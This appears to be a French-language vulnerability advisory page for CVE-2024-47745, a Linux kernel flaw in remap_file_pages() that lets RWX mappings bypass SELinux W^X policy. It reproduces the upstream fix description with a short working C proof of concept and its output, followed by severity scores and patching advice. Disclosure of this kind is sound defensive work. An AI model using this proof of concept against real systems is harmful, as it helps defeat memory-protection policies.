Heimdall Security Logo

CVE-2024-47745

Vulnérabilité élevée dans Linux (Linux)

CVSS 7.8 · Élevée
EPSS 0.3%
Linux•Linux•Versions : 6.12, <=6.1.*, <=6.11.*, 6.10.13, <3393fddbfa947c8e1fdcc4509226905ffffd8b89, 0, 6.1.120, <4.0, <=6.6.*, 4.0, 097f98edde717ce09f217d8a285fe357dcd29fd1, 6.6.54, <ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3, <=*, c8d78c1823f46519473949d33f0d1d33fe21ea16, <0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1, <3.17, <49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178, 6.11.2, <=6.10.*, 3.16.59, <ea7e2d5e49c05e5db1922387b09ca74aa40f46e2

Description

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Gravité et risque d'exploitation

CVE-2024-47745 obtient un score CVSS de 7.8/10, soit une gravité élevée. Selon le modèle EPSS, la probabilité qu'elle soit exploitée dans les 30 prochains jours est de 0.29 %, ce qui la place devant 19.8 % des CVE référencées.

Que faire ?

  • Vérifiez si Linux (versions 6.12, <=6.1.*, <=6.11.*, 6.10.13, <3393fddbfa947c8e1fdcc4509226905ffffd8b89, 0, 6.1.120, <4.0, <=6.6.*, 4.0, 097f98edde717ce09f217d8a285fe357dcd29fd1, 6.6.54, <ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3, <=*, c8d78c1823f46519473949d33f0d1d33fe21ea16, <0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1, <3.17, <49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178, 6.11.2, <=6.10.*, 3.16.59, <ea7e2d5e49c05e5db1922387b09ca74aa40f46e2) est présent sur votre parc.
  • Appliquez le correctif ou la version corrigée indiqués dans les références de l'éditeur.
  • À défaut de correctif, limitez l'exposition (filtrage réseau, désactivation du composant).
  • Automatisez la détection : les agents CVE Heimdall (gratuits, open source) corrèlent l'inventaire de vos serveurs avec la base CVE.

Références

Rechercher une autre CVE